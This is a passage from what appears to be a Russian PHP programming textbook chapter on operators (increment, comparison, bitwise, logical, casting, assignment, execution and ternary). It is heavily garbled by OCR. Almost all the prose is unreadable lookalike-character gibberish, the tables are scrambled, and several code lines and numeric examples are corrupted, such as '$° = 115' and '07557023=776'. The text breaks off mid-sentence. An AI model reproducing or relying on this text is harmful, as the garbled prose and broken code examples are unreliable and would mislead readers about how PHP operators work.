SIBJISIIOTCSI UHKPeMEeHT (yBeJlMYeHHe 3HAYeHUs] Ha €IUHHULY) WIH JAeKPEMEHT
(yMeHbllueHHe 3HAUeHUS] Ha eIMHUIY). YHapHble OnepaTopbl UHKPEMEHTa (++)
WJIH IeEKPEMEHTa (--) TI03BOJISIOT GbICTPO BBIMOJHUTD 3T YaCTO MCIOJIb3yeMble
onepauuu. JlaHHbIE ONIEPATOPbI YHUKAIbHBI TEM, YTO OHU PabOTAIOT TOJIBKO C Te-
pemenHbIMU. OniepaToOpbl U3BMEHSIIOT 3HAYEHHUSI OMEPAH/IOB U BO3BPAUIAIOT 3HA-
YyeHHue.

Tabnuua 2.5. Onepauun HHKPEMEHTa U AeKPEMEHTa

|
Bosspawaemoe
OnepaTtop | Hassanue paw 3¢ dekT Ha $var
| 3HavueHue
|
MNocT- Bosspaliaet 3Ha4veHune $var, 3atem
$var++ $var
| VHKpEMEHT yeenuuusaet $var Ha eanHuLLy.
Mpe- Benuumnsaet $var Ha eguHnLy, 3a-
++$var p $var+ 1 Y $ A L.
NHKPEMEHT TemM Bo3BpaLLaeT 3HaveHune $var.
$var MNocT- $var Boasspauiaet 3Ha4eHue $var, 3atem
DEeKpPeMeHT yMeHbluaeT $var Ha eamHuLy.
—$var [ MNpe- $var- 1 YMeHbwaet $var Ha egnHuuy, 3a-
|  nexpement | TeM Bo3BpaliaeT 3HaveHue $var.
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CyuectByer aBa crniocoba UCIMOJIb30BAaHUS ONMEPATOPOB MHKPEMEHTA U JeKpe-
MeHTa B BbIpaXkeHUsiX. EcJii Bbl MOMeCTHTE OnepaTop HHKPEMeHTa,/IeKpeMeH-
Ta mepej OlepaHIoM, OH Cpa3y BO3BPATUT HOBOe 3HayeHue omnepaHaa (yBesu-
YeHHOe WJIM yMeHbllieHHOoe). Ecii Bbl TOMeCTHTE ornepaTop MnocJje onepaHaa, OH
BEPHET MCXOHOE 3HaueHHe onepaHaa (nepe yBeJInyeHHeM UM YMeHbIlIEeHU-
em). B Tabaunue 2.5 npuBeneHbl pa3inyHble BADUAHTHI OMEPALUH.

IIpuBenem npumep:

<2php

echo “<h4>Mocr-unkpement</h4>";

$var=5;

echo “[onxHo 6bite 5: “ . $var++ . “<br />\n";
echo “NonxwHo 6bits 6: . $var . “<br />\n";

echo “<h4>Mpe-unkpement</h4>";

$var=5;

echo “[onxHo 6eits 6: “ . ++$var. “<br />\n";
echo “NonxHo 6bits 6: . $var . “<br />\n";

echo “<h4>Mocr-nekpement</h4>";
$var=5;

echo “[onxHo 6eits 5: “ . $var-- . “<br />\n";
echo “[onxHo 6bits 4: “ . $var . “<br />\n";

echo “<h4>Mpe-gekpement</h4>";

$var=5;

echo “[onxHo 6eits 4: . --$var . “<br />\n";
echo “lonxHo 6uite 4: “ . $var . “<br />\n";
2>

OnepaTopbl MHKPEMEHTA/A€KPEMEHTA MOTYT ObITb NPUMEHEHbI KaK K YHCJIaM,
TaK M K CTpPOKaM. YBesnueHue Ha 1 andaBUTHOro cCHMBOJIA NpeBpALIAeT ero
B caeayolini no andasuty cuMBoJ. Kak nokaszano B Tabiuue 2.6, HHKpeMEHT

“_n “ "

2" unu “Z” npeBpaliaeT ee 06paTHO B “a” WK “A” ¥ yBEJUYMBAET NPEIbIAY LIt
“w_”

CHUMBOJI Ha eIMHULLY (UJIM BCTaBJISIET HOBYIO “a” MJIM “A” €CJIM 3TO NEPBBINA CUM-
BOJI CTPOKH ), KaK OY/ITO CUMBOJIBI - 3TO CHCTEMA CYMCJIEHHs ¢ OCHOBaHHeM 26.

Tabnuua 2.6. ABTomaTUyecKuit MHKpeMeHT Gyxs

YeenuumMeaem 3to Monyyaem 3to
gy “p
“z """" “ag”
"spT_ ............. ——— L Qpba" e g
“K9" “LO”
‘42" “43”
®
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2.4.8. OnepaTtopbl CpaBHEHUS

Kak nmogpasymeBaeT Ha3BaHHe, ONIEPATOPHI CPABHEHUS UCTIOJIBL3YIOTCSI [IJ1s1 CPaB-
HEHUs1 ollepaHJ0B. Pe3ysbTaT TakUX OIlepaTOpOB BCer/a true, €CJU CpaBHEHHUE
HMCTUHHO UJIU false B IPOTUBHOM CJly4Yae.

OnepanaMy ONlepaTOPOB CPABHEHUS MOTYT OBITh YMCIA, CTPOKHU UM OJHO YHC-
JIO M OJJHA CTPOKa. B 3aBUCMMOCTH OT TUITOB OMEPAHIOB CIIOCOOBI IPOBEPKH UC-
TUHHOCTU HEMHOTO OTJMYaroTcsi. YTOObI MOHATH, KaK pabOTAIOT OMepaTopbl
cpaBHeHHs, 1aBaiiTe paccMOTpuM Tabauity 2.7.

Tabnuua 2.7. Tunbl cpaBHEHHUN, BbINOHAEMOr0 ONepaTopaMn CPaBHEHHUS

- _ CpaBHeHue
MepBbIi oNnepaHg, Bropo# onepaHpg,
(Tun)

Yucno Yucno Yucnosoe
CTtpoka, nonHocTblo cocToswana n3 | Ctpoka, NONHOCTbIO COCTOALANA U3 Uiarioson
yucen yucen
Crtpoka, nonHocT T n

p ONIHOCTbIO COCTOAWRAAMS | YheTokde
yucen
CTtpoka, nonHocTbio cocToAwasa nad | Ctpoka, He NONHOCTbLIO cocTosAWwas | Jlekcukorpa-
yucen n3yucen duyeckoe
CTpoka, He NONHOCTbIO TOALWANA

HOKS, HETIOM06 COCRERIS Yucno Yucnosoe
13 uncen
CTtpoka, He nonHocTbio cocToawan | CTpoka, He NONHOCTLIO cocTosAwas | Jlekcukorpa-
n3 yucen 13 yucen duyeckoe

Hy’KHO OTMETHUTb OUeHb BAXKHYIO OCOOEHHOCTB: eCJTi CPABHMBAIOTCSI ABE CTPOKH,
COCTOsIIIIME U3 YUCE, TO OHU OyayT nmpeoOGpa3oBaHbl B uucyia U OyayT CpaBHU-
BAaIOTCS KaK yucsa. Vckiouyenue COCTaBIIsieT ONMEPAaTOp TOXKAeCTBEHHOrO paBeH-
ctBa (=== cM. Hike). Ecau y Bac ecTsb 1Be CTPOKH, COCTOSIIIINE U3 YHCEJT, U BaM
HYXKHO CPaBHUTb UX JIEKCUKOTrpahUUeCcKH, UCTIOb3YiiTe QYHKIHUIO stremp().

K oneparopam cpaBHeHUST OTHOCSITCSI:

Pasgno (==)
Ecnu oba onepania paBHbI, 3TOT ONEpaTOp BO3BPAILAET true, B IPOTHBHOM
cllydyae OH BO3Bpaulaer false.

Toxcoecmeenno pasno (===
Ecnu 06a onepaTtopa paBHbI 1 OZHOTO TUIIA, ITOT ONMEPATOP BO3BPAILAET true.
B npotuBHOM ciyyae oH Bo3BpaluaeT false. 3aMeTkTe, YTO 3TOT ONEPATOP
HE UCIOJIb3YET HESIBHOE IPUBEIEHUE TUIIOB. JTOT ONEPATOp I0Jie3eH, Koraa
BbI He 3HaeTe, YTO CpAaBHUBaeMble 3HAYEHUS SIBJISIIOTCST 3HAUEHUSIMU OJTHOTO
u Toro >xe Tuna. Hanpumep, crpoku “0.0” u “0” He paBHbl. QnepaTop == co-
OOLIMT, YTO OHU PABHbI, HO OTIEPATOP === CKAXKET, UTO OHU HE PABHbI.
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He pasno (1= umu <>)
Ecnu omepannpl He 3KBUBAJEHTHBI, 3TOT OMNEPATOP BO3BPATHUT frue HJIM
false - B IPOTHBHOM CJIyuyae.

Toxcdecmsento ne pastut (1==
Ecxy onepan/ipl He paBHbI UJIM HX THIT OTJIMYAETCs, 3TOT OllepaTop BO3Bpalia-
€T true, B IPOTUBHOM CJIy4ae OH BO3Bpallaer false.

Bonvwe uem (>)
Ecnu onepann, ykasaHHbIN cjieBa OT oreparopa >, 6oJiblile, YeM OlepaHI,
YyKa3aHHBINA ClpaBa OT onepaTopa, 3TOT ONepaTop BO3BpalIaeT true. B mpo-
TUBHOM CJIy4yae BbI MOJIyyuTe false.

Bonvwe unu pasmo (>=)
Ecnu neBbiit onepann, 6orvwe, yeM TpaBblid ONEpaH, Wi PaseH emy, ITOT
olepaTop BO3BpallaeT frue. B IPOTHBHOM ci1yyae BbI OJy4HTe false.

Menvwe uem (<)
Ecuiu neBbiit oniepaH 1, MEHbIIIE, YEM IIPABbIN OIIEPAH/I, 3TOT OIIEPAaTOP BO3BPa-
iaeT true. B mpoTUBHOM citydae BbI oJsiy4yure false.

Menvwe unu pasmo (<=)
Ecnu neBbiii onepanj, MeHbue, YeM TIPABbIN ONEPAH[, Wil paseH emy, ITOT
oTfepaTop BO3BpaLIAET true. B MpoTHUBHOM cilyuae BbI MoJiyyuTe false.

Tabnuua 2.8. CpaBHeHne pa3NuyHbIX TMNOB

NepeBbiii Btopoit
PeaynetaT
onepaHp onepaHg
NULL vnun Crooka NULL npeobpa3syetcsa B “”, YUCNOBOE WU NEKCUKO-
Crtpoka P rpaduyeckoe cpaBHeHue
Noruyeckuia I O6a onepaHoa NpUBOAATCS K NOFUYECKOMY Tuny,

nnu NULL FALSE < TRUE

[lga 06bekTa paBHbl, €CNY OHWU CoaepXaT OaAMHAKO-
Bble CBOCTBA M O[IMHAKOBLIE 3HAYEHUS, U ABNSAIOTCA
3K3emnnsapamMmn 04HOro 1 Toro xe knacca. BctpoeH-
Hble KNacCbl MOryT Onpeaensite CBON Co6CTBEHHbIE
npasuna cpaBHeHus, 06beKTbI Pa3HbIX KACCOB He
CpaBHMBAIOTCA.

O6bexT O6bekT

Yucno, Ctpoka | Yucno, Ctpoka | CTpoku M pecypcbl NepeBoasTCs B Yucna, ganee
vnu Pecypc wnu Pecypc o6bl4HOE YMCNoBOE CpaBHEHUE

Maccuebl C MEHbLIUM YUCIOM 3MEMEHTOB CYUTa-
I0TCS MEHbLUEe, €Cnu KoY U3 NepBOro onepaHaa
Maccwus Maccus He HalaeH BO BTOPOM OnepaHae - MacCuBbl HE MO-
ryT CpaBHMBATLCA, MHAYe UOET CPaBHEHNE COOTBET-
CTBYIOLLNX 3HAYEHUIA.
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MepebiA Bropow
Pesynbrat
onepaHpg onepaHg
O6vexT nobown 0O61bexT Bcerpa 6onblue
Maccus nobowm Maccug Bceraa 6onblue

2.4.9. Nopa3psagxbie (nobuTOBLIE) ONEPATOPDI

[Topaspsiatble onepaTopbl paboTAIOT C ABOUYHBIM MPEACTAaBJIEHUEM CBOUX OIle-
panaoB. Kaxxapiit onepan/ cHayasa nepeBoAMTCS B CBOE IBOMYHOM ITpeCTaBIIe-
HMe€, a TOTOM Y’Ke BBITIOJHSETCsI onpe/esieHHbIi oneparop. K mo6uToBbiM omnepa-
TOpPaM OTHOCSIT:

ITo6umosoe ompuuanue (~)
OnepaTtop MOOGMTOBOTO OTPUIIAHUS U3MEHSIET eIMHUIIBI B TOGUTOBOM TIpE/-
CTaBJIEHMH HA HYJIH, a HYJIM - Ha eAuHUIbL. [lepes BbHIMOJHEHHEM OTPUIIAHUS
YHCJIa C IJ1aBaolel TOYKOM OyayT mpeo6pa3oBaHsl B Leible yrca. Eciu ome-
paH[ - CTPOKa, TO Pe3yJIbTaTOM TaKske Oy/IeT CTPOKa TAaKOM ke JJIMHBI, Te Kax-
AbI CUMBOJI CTPOKH Oy/ieT MHBEPTUPOBaH (Mpeobpa3oBaH B JBOMYHOE Mpe-
CTaBJieHHe, B KOTOPOM eIMHHIIbI 3aMEHEHBI Ha HYJIU, 2 HYJIM - Ha eIMHUILBI ).

ITo6umosoe 1 (&)
[Topaspsianblit onepatop M cpaBHMBaeT KaXKAbli COOTBETCTBYIOLIMH OUT
B IBOMYHOM Mpe/icTaBIeHuH onepanaoB. Ecau 6uThl ycraHoBseHs! B 1, cOOT-
BETCTBYIOIIMI GUT B pe3ysbTate Oyner pasen 1. B mpoTHBHOM ciyyae cooT-
BeTCTBYIOLIMI GUT B pe3yasrate Oyner paBen 0. Hampumep, 0755 & 0671 =
0651. Huyero He noHsiTHO? [laBaiiTe B3r/IsTHEM Ha JBOMYHOE [TpeJCTaBJIeHHe.
[Ipeobpasyem BochmepuuHoe 3Hauenue 0755 B xeoudHoe 111101101, Bocsk-
MepuyHoe ynco 0671 B 1BonuHoit cucteme 6yzer Boirasiaers Tak: 110111001.
Terepb MbI MOXXEM ITPOCTO COMOCTABUTH OUTHI OMIEPAH/IOB U MOJYYUTDb OTBET:

111101101
& 110111001

110101001

J{Bonunoe uncyao 110101001 B BocsmepuuHoit cucreme - 0651. /17151 mpeobpa-
30BaHMs YHCeJ U3 OJHOM CUCTEMBI CYMCJIEHUS B APYTYIO BBl MOXETe HCIOJIb-
3oBath PHP-dyHkuuu bindec(), decbin(), octdec() u decoct().

Ecau o6a onepanza - CTpOKH, OriepaTop BO3BpalllaeT CTPOKY, B KOTOPOM Kaxx-
bl CAMBOJI SIBJISIETCSI pE3YJIbTATOM MMOOUTHO# onepaiiiu M Mexxay ABymsi co-
OTBETCTBYIOUIMMH CUMBOJIaMU B onepaHziax. JJiuHa pe3yasTHpPYIollei CTpo-
kM OyzeT paBHa AauHe 60Jiee KOPOTKOM CTPOKHM M3 ABYX onepaHaoB. “JIuii-
Hue” CUMBOJIbI B 60Jiee AJIMHHOM CTpOKe OyayT MpoMrHopupoBanbl. Hampu-
Mep, “wolf” & "cat” =“cad”.
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Iopaspsonoe HJITH (|)
[Mopaspsaaubiit onepatop NJIU cpaBHMBaeT COOTBETCTBYOLINE OUTBI B BO-
MYHOM MpeJCTaBIeHiu onepanaoB. Eciu 06a 6uta paBhbl 0, pe3ybTHPYIO-
uuit 6ut 6ynet paset 0. B npoTuBHOM ciiy4ae pe3ybTupyouuii 6ut 6yzer
yctaHosJieH B 1. Hanpumep: 0755 | 020 = 0775.

Ecnn o6a onepan/ia - CTPOKH, onepaTop BO3BpalliaeT CTPOKY, B KOTOPO# Kax-
JIblit CHMBOJI SIBJISIETCS pe3yJIbTaToM nobuTHOM onepaiuu UJIU Mexny aByms
COOTBETCTBYIOIIMMHU CUMBOJIaMH B onepanjax. [lHa pe3yasrupyolien cTpo-
ki Oyzer paBHa JyinHe GoJiee IJIMHHOM CTPOKU U3 ABYX onepanioB. KopoTkas
cTpoka OyzeT A0noJiHeHa HeoCTAWKUM (10 JIMHbI Oosiee IJIMHOU CTPOKH)
KOJIMYECTBOM JIBOMYHBIX HyJiel. Hanpumep, “pussy” | “cat” = “suwsy”.

Ilopa3spsionoe ucknouarowee HIH ()
[Topaspsinubiit oneparop uckiaoyawiee UJIN (XOR) cpaBHuBaeT kaxablii
OUT B IBOMYHOM TpeJcTaBieHnu onepanaoB. Eciu moboi 6ut B nape (HO He
o6a!) paBeH 1, pesysbrart - 1. B nporuBHoM ciyyae pe3yssrat - 0. Hanpumep,
07557023=776.

Ecnu 06a onepaHia - CTPOKH, ONEepaTop BO3BPAILAeT CTPOKY, B KOTOPOI Kax-
Iblil CUMBOJI SIBJISIETCSI Pe3YJIbTaTOM NOOUTHOM onepalyu HCKJoYaiollee
NJIN mexnay nByMsi COOTBETCTBYIOIIMMU CHUMBOJIaMU B onepanaax. [liu-
Ha pe3yJILTUpYIoLIel CTPOKK OyaeT paBHa [JIMHe Oosiee KOPOTKOM CTPOKH U3
ABYX onepaHaoB. “JIuiiHue” cuMBOJIbI B GoJiee IIMHHOM cTpoKe OyayT mpo-
urHopupoBaHsl. Hanpumep, “big drink” ~ “"AA” is "#(".

Cosuz eneso (<<)

Omnepatop caBura BJEBO CABUTaeT BJIEBO OWUTHI B IBOMYHOM MPEACTABICHUH
JIEBOTO OIlepaH/ia, Ha YMCJIO0 MECT, 3alaHHOe B paBoM onepane. Oba onepan-
na 6yyT KOHBEPTUPOBAHBI B LI€JIble YHCJIA, €CJIM HA MOMEHT BbI30Ba ONEPaTo-
Pa OHU TAaKOBBIMHU He ABJSINCH. [Ipu caBUre B€BO HA OQHO MECTO BCe OUTBI
CIBUTAIOTCS BJIEBO, a Ha obpa3oBaBiieecs crnpaBa Mecto BcraBsieTcs 0. Ha-
npuMep, 3 << 1 (aBonynoe 11 GymeT CABUHYTO Ha OAHO MECTO BJIEBO) paB-
HO 6 (nBonyHoe 110).

Kaxnpiit cniBur BieBo (Ha OIHO MECTO) paBHOLIEHEH YMHOXeHUIo Ha 2. Pe-
3yJIBTAT CAIBUTA BJIEBO - 3TO YMHOXKEHHE JIEBOTO ONepPaH/a Ha 2 B CTENIeHH pa-
BOTO OMepaH/a.

Cosue enpaso (>>)
OnepaTop cBUra BIIPaBO CABUTAeT BIIPaBO OMTbI B IBOMYHOM IIPEACTaBIEHHH
JIEBOTO OIepaH/Ia, Ha YUCJIO MECT, 3a/IaHHOe B npaBoM onepatae. Ob6a onepanaa
6YZIYT KOHBEPTHUPOBAHBI B LI€JIbl€ YHUCJIA, €CJIK HA MOMEHT BbI30Ba OI€paTopa OHU
TaKOBBbIMU HE ABJIAIUCH. led CABUIE BIIPABO Ha OAHO MECTO BCE 6I/ITbI caABura-
IOTCA BIIPABO, a Ha O6paBOBaBH.I€eCH csieBa Mecto BetasJisiercs 0. Ecoiv unciio ot-
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pulaTesibHo, yTo 1 Gy/IeT BCTaBJIEHHBIM KaK KpailHuil ieBbiid 6UT uncia. Cambiii
npasbiii (mocaeanuit) 6ut orbpackiBaetcst. Hanpumep, 13 >> 1 (MM 1BOMYHOE
1101 caBunyToe Ha 1 6UT BpaBo) aacT B pe3yJbrate 6 (aBouyHoe 110).

2.4.10. Jlornyeckue oneparopbl

Jlornueckue OonepaTopbiNpeaOCTaABAAIOT CPpeACTBA ITOCTPOEHUS CJIOXKHBIX JIOrHYe-
CKHX BpraN(EHMﬁ. Jlornueckue OnepaTopbl paCUEHUBAIOT CBOU Ol€paH/ibl KaK JIO-
T'MYE€CKHE 3HAYECHU S, PE3YJIBTATOM OINEPATOPOB TAKXE ABJAIOTCSA JIOTUYECKHUE 3HA-
yeHus. Bo1 MoxeTe HCI10JIb30BaTb, KaK 3HAKHU MYHKTYyallUH, COOTBETCTBYIOILLIUE JIO-
TMYECKHM olepaTopaM, TaK U Ha3BaHUS OIIEPATOPOB Ha AHTJIMHACKOM S3bIKeE.,

K noruyeckum ornepaTopaM OTHOCATCA:

Jlozuuecxoe 1 (&&, and)

Pe3yssTaToM JIOTHYECKOM omepaunuu W siBiseTcs true, ecid 00a onepaHia
MCTUHHBI (PaBHBI true), B NPOTMBHOM cJjyyae Bo3Bpamaercsi false. Ecan
3HauYeHue MepBOro oneparopa - false, Joruyeckuii omnepatop W cpasy BO3-
BpallaeT 3HaueHHe false, faxke He BBIYMCJSAS 3HaYeHHE BTOPOTO OMeparTo-
pa - B 3TOM HeT cMbicJia. Bbl MoXkeTe HCII0J1b30BaTh 3Ty 0COGEHHOCTDb B CBOMX
1eJIsIX, HAPUMED, BbI MOXKETE MOAKIIOYNUTHCS K 6a3e JaHHbBIX, €CJIH HEKOTO-
phiit hnar He paBeH false:

$result = $flag and mysql_connect();
Oneparopsi && 1 and OTJIMYAIOTCS TOJILKO CBOMMH IPUOPUTETAMH.

Jloeuueckoe JIH (||, or)
Pe3ysnsraToM Jsoruyeckoit onepauuu U siBasieTcs true, €CIU XoTst 6bl OMH
M3 OMepaTopoB paBeH true. B mpoTHBHOM ciyyae pe3yssrat Oyaer false.
[Tomo6Ho omnepatopy AND, omepatop OR BbIYHCJISIET CHaYaJIa 3HaYeHHe Tep-
BOrO OlepaHJa U eCJIM OHO PaBHO true, TO BTOPOH omnepaH/ He BbIYUC/ISAET-
csi. Bbl MOXXeTe 1CI101b30BaTh 0COOEHHOCTDb 3TOTO ONepaTopa AJst 06paboTKH
otnOKH, eciu 4TO-TO mouwio He Tak. Hanpumep:

$result = fopen($filename) or exit();
Onepatopsl || ¥ or OTJIMYAIOTCS TOJBKO CBOUMH ITPHOPUTETAMH.

Jlozuuecxoe uckmouaiouee HJIH (xor)
Pe3yibTaToOM JIOTMUECKOTO HCKJIIOYAIoIero MJN sBJsieTcs true, €CJU UCTH-
HeH KaKOoii-To O/IMH U3 OMepaHIoB, HO He 06a. B mpoTuBHOM ciyyae Bo3Bpa-
njaetcs false.

Jlozuueckoe ompuyanue (1)
Oneparop JIOrMyeckoro OTPHLAHHUSI BO3BPALIAeT frue, €CJIM OINepaH] paBeH
false, B MpOTHBHOM CJiy4ae (KorJa ornepaH/ paBeH true) Bo3BpallaeTcs false.
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2.4.11. Onepatops! NpUBeAEHUA TMNOB

XOTF[ PHP aBasiercsa C.Ha60 TUNINU3UPOBAHHBIM A3bIKOM, MHOIJA IIOJIE3HO pac-
CMaTpPHBATb 3HA4Y€HHE KaK 3HAaYE€HHE OIIpEAEJIEHHOTO THUIIA. Ol‘[epaTOpr cBeae-
Hug Ttuna (i), (float), (string), (bool), (array), (object) WAM  (unset)
IMNO3BOJIAKOT BaM IPUHYAUTEJIPHO CBECTH 3HAYEHUE K OIIPpEIETIEHHOMY THUITY. I'ITO‘
6bI HUCIIOJIb30BATh OnepaTop HpI/IBeﬂeHI/IH TUIIA, IOMECTUTE €T0 CcjieBa OT OHepaH‘
aa. B Ta6JIHL[e 29 IIpUBEAEHBI OIIEPATOPbI IDUBEAEHUSA THIIA U UX CHHOHUMBbI.

Ta6nuua 2.9. Onepartopsl npueeaeHus Tuna B PHP

Onepatop CvHOHUM N3meHseT TUN Ha
R e T A
(bool) (boolean) JNornyeckui
(float) (double), (real) BeluecTBeHHbIn
(string) Crpoka
(array) Maccus
(object) O6uexT
(unset) ......... [

OnepaTopsl IpUBEEHHsI TUIIA HE U3BMEHSIIOT 3HAYEHHe, HO U3MEHSIIOT TO, KaK Oy-
JIET 3TO 3HAUEHHE UHTEPNPETUPOBAThHCA. PaccMOTpuM ciiefyonun Koz:

$° = 115”;

$b = (int) $a;
B pesyssrate nepemeHHoit $b OymeT MpPUCBOEHO 1ie0e 3HAYEeHHEe MePEMEHHON
$a, To ecTb yKCIIO 5, B TO BpeMsI Kak iepeMeHHast $a octaHeTcs CTpokoit “5”. Uro-
ObI UIBMEHHUTD TUII HCXOAHOMN IIEPEMEHHOM, TPOCTO NPUCBOMTE pe3yasTaT 06part-
HO 3TOi epeMenHOM:

$a="5"; // ctpoka “5"

$a = (int) $q; // Teneps $a xpawuT uenoe wucno 5
He Bcerna npuseneHue tuna nose3dno. IlpuBeneHue MaccuBa B YMCJIOBOM THII

JacT 1, a MpUBEEHNE MACCUBA B CTPOKY JACT CTPOKY “Array” (eCJIM MAaccuB ITy-
ctoit, To mpuBesieHue gact ().

[IpuBeneHue o6beKTa B MacCHB CO3/AaCT MAacCCHUB U3 CBOMCTB 0ObeKkTa, MMEHa
CBOICTB Oy Ay T OTpaXkeHbl (MANMUPOBaHbI) B UX 3HAYEHHSI:

class Person

{
var $name = “®pea’;
var $age = 35;
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$0 = new Person;
$a = (array) $o;

print_r($a);

Array (
[name] => ®Ppen
[age] => 35

)

Bbl MoXxeTe INMPHUBECTU MACCUB K 06'beKTy, ‘{T06bl TMMOCTPOUTD 06'bEKT, CBOMCTBa
KOTOPOIro COOTBETCTBYIOT KJIlOYaM M 3HAYE€HUAM MaCCHUBa. HaanMep:

$a = array('name’ => "®pen”, 'age’' => 35, 'wife' => “Bunbma”);

$0 = (object) $q;

echo $o0->name;

" ®pen

Kiioun, koTopbie He SIBASIOTCS AOMYCTUMBbIMH HAeHTH(UKAaTOpaMu, OyAyT He-
AOCTYIHBI P CBeJIEHUHM MacCHBa K 0OBEKTY, HO OyAyT BOCCTAHOBJIEHBI, KOTZa
06beKT Bbl 00paTHO Mpeobpa3yeTe B MAaCCHB.

2.4.12. Oneparop npucBanBaHus

Oneparopbl MPUCBAaUBaHUS COXPAHSIOT WM OOHOBJISAIOT 3HAYEHHS B NEPEMEH-
Hbix. OmepaTopbl MHKPEMEHTa M [eKPEMEHTa, paCCMOTPEHHbIE paHee, TaK)Ke
B HEKOTODOIi CTeNeHu sSIBASIOTCS onepaTopamu npucBauBaHus. OCHOBHOM orie-
parop npucBanBaHus -=, HO B PHP ecTs MHOrO BHIIOB OIIepaTOpPOB MpUCBauBa-
HUS, HAIIPUMED, += 1 &=, '

MpuceauBaxune

Omnepatop npucBauBanus (=) NpUcBanBaeT 3HaueHUe nnepeMeHHOH. JleBblIit ome-
paHz Bcerza nepeMeHHast. [IpaBblii oniepaH MOXXET ObITh JIIOObIM BbIPaXKEHHEM -
NPOCTBIM JIUTEPAJIOM, TIEPEMEHHOMN MJIU CJIOXKHBIM BbIpaXkeHHeM. 3HaueHUe Ipa-
BOTO OMEPaH/la COXPaHseTCs B TeEPeMEHHOM, 3aJTaHHOI JIEBBIM OTIEPAHIOM.

HOCKOJIbe BC€ OIepaTopbl ADJKHbI BO3BpalllaTh 3HAYE€HUE, OITEPATOP IMPHUCBAH-
BaHHMsI BO3BpalllaeT 3HaueHHe, KOTOpoe OyeT MpUCBOEHO nepeMeHHoi. Hanpu-
Mep, BbIpakeHHe $a = 5 He TOJBKO NMPUCBAMBAET 5 NEpeMEHHON $a, HO TaKXKe
BO3BpalllaeT 3HauYeHHe 5 B CJIydyae MCIOJIb30BaHMS B CJI0)KHOM BhIpakeHnu. Pac-
CMOTPHM CJIeYIOIUE BbIPAXKEHUS:

$a=5;

$b=10;

$c=($a=$b);
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[TockosbKy MCTIONB3YIOTCS CKOOKM, CHaYas1a BEIYUCIISIETCST BhIpaXKeHue $a = $b.
Teneps uy $o, vy $b 0nHO U TO e 3HaYeHHE - 10. ITO 3HAYEHHE U OYIET PE3YJIb-
TaTOM BbIpaXXeHUs $a = $b, OHO e Oy/eT MPUCBOEHO JIEBOMY OMEpPaHay (B 3TOM
caydae $c). B pesyssrate y Bcex Tpex mepeMeHHbIX OyZeT OMHO U TO Xe 3Haue-
Hue 10.

MpuceanBanune ¢ onepaumeit

B nomnonnenune x ocHoBHOMY omneparopy npucBauBanusi B PHP uMmeetcs ne-
CKOJIBKO /IOTIOJTHUTENBbHBIX OIEPAaTOPOB MPUCBAUBAHMS C ONepalyel, KOTOpble
3KOHOMSIT KO/I. DTH ONEPATOPbI COCTOAT U3 GUHAPHOTO OIEPATOPa, MOCJE KOTO-
poro cJeayeT 3HakK paBeHCTBa (=). PaccMOTpuM 3TH onepaTopsr:

IImoc-pasno (+=)
obaBisieT npaBblii ONEepaH K 3HaYEHHIO JIEBOTO ONEPAH/Ia, HOBOE 3HaUYEHHUE
Oyzner npucBoeHo JeBoMy omepanay. CienoBaTesnbHo, $a += 5 IKBUBAJIEHT-
HO $a=$a + 5.

Munyc-pasno (=
BeruntaeT nmpasslii onepaHa OT 3HaYeHUsI JIEBOTO OTEPaH/a, HOBOE 3HaueHHe
Gy/ieT IpUCBOEHO JieBoMy omepanay. CiienoBatesibHoO, $a -= 5 3KBUBAJIEHT-
HO $a=$a- 5.

Henenue-pasno (/=)
Jenut 3HayeHue JIEBOro oliepaH/ia Ha 3HaYeHHe MPAaBOro ONepaH/a, Pe3yJib-
TaT NPHCBAUBAETCsI JIEBOMY OIIEPAHY.

Ymnoxcenue-pasno (*=)
YMHOXaeT 3HaYeHHe JIEBOTO OINEPAH/Ia HAa 3HAUEHHE IPAaBOTO ONEPaH/a, pe-
3yJIbTAT MPUCBAUBAETCS JIEBOMY OIEPAHTY.

Ocmamox-pasno (%=)
Berunciisier %, TO €CTh OCTATOK OT JIeJIEHUS JIEBOTO ONEPAH/Ia HA MPaBbIii Ome-
PaH/I, pe3yJIbTaT IPUCBAUBAETCS IEBOMY OTEPAH/LY.

Iobumnoe-XOR-pasno (*=)
Boruncisier 3HaueHre moOMTHOM omepanyu XOR MEXy JIEBHIM M IPABbIM
OIepaHaMu, Pe3yJIbTaT IPUCBAUBAETCS JIEBOMY OIEPAHIY.

Iobumnoe-AND-pasno (&=)
Bsruucisier 3HaueHre no6uTHOM onepanuu AND (M) MeX/1y JIEBBIM U IPAaBbIM
OTEePaH/IaMH, PE3YJILTAT IPUCBAUBAETCS JIEBOMY OIIEPAHIY.

Iobummnoe-OR-pasno (|=)
Bbiuuncsier 3Hauene noOGUTHOI onepaiuu OR (MN) MeX1y JIEBBIM U Npa-
BBIM Oll€PaH/IaMH, Pe3yJIbTaT IPUCBANBAETCS JIEBOMY ONEPaHLY.
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Konxamenayus-paeto (=)
CoenuHsieT TpaBblil ONEpPaH] CO 3HAYEHHWEM JIEBOTO ONMEPAH/A, Pe3yJbTaTr
NPUCBAaUBAETCs JIEBOMY ormepaHay. Beipaxenue $a = $b 3KBHBaJIEHTHO
$a=%a. $b.

2.4.13. PasHble oneparopsbl: nogasnexHue ownbok n gpyrue

OcTtanoch pPaCcCMOTDPETDb PHP—onepaTopr, HCIOJb3YIOUIHECA OJA NMOAdAaBJIEHUA
OH_I]/I6OK, BbITIOJIHEHHUA BHEIIHUX KOMaH/I U BbI60pa 3HAYEHMH:

ITodasnenue owubox (@)
HekoTtopbie onepaTopbl Wi GYHKIHK MOTYT FeHEPUPOBaTh COOOLIEHUs 00
omunOKax.

Buinoanenue (*...")
Onepatop BbinosHeHus (1Ba 06paTHbIX anocTpoda, Ha KJIaBUATyPe HAXOIAT-
Cs1 MO/ THJIbIOI) UCTIONb3yeTcs s 3amycka KoMaua o6osouku. OnepaTop
BO3BpalllaeT BbIBOJ] BHelllHel koMaHabl. Hanpumep:

$listing = Is -Is /tmp";
echo $listing;

Onepamop suvibopa (2:)
YcoBHBIN OMepaTop SIBJSETCS €IMHCTBEHHBIM TEPHAPHBIM (TPOUYHBIM)
oneparopoM. OH BbIYUCIISIET BbIpakeHue nepel 2. Ecu BoipaxkeHue UCTHH-

HO (true), OnepaTop BO3BpalllaeT 3HaYeHHe BbIPA)KEHHST MeXAy 2 U :. B mpo-
THUBHOM CJIy4yae OlepaTop BO3BpalllaeT BbIpakeHHe mocJe ;. Hanpumep:

<a href="<2= $url; 2>"><2= $linktext 2 $linktext : $url; e></a>

Ecan texcr anst cebnku $url IPUCYTCTBYET B TepeMeHHON $linktext, OH
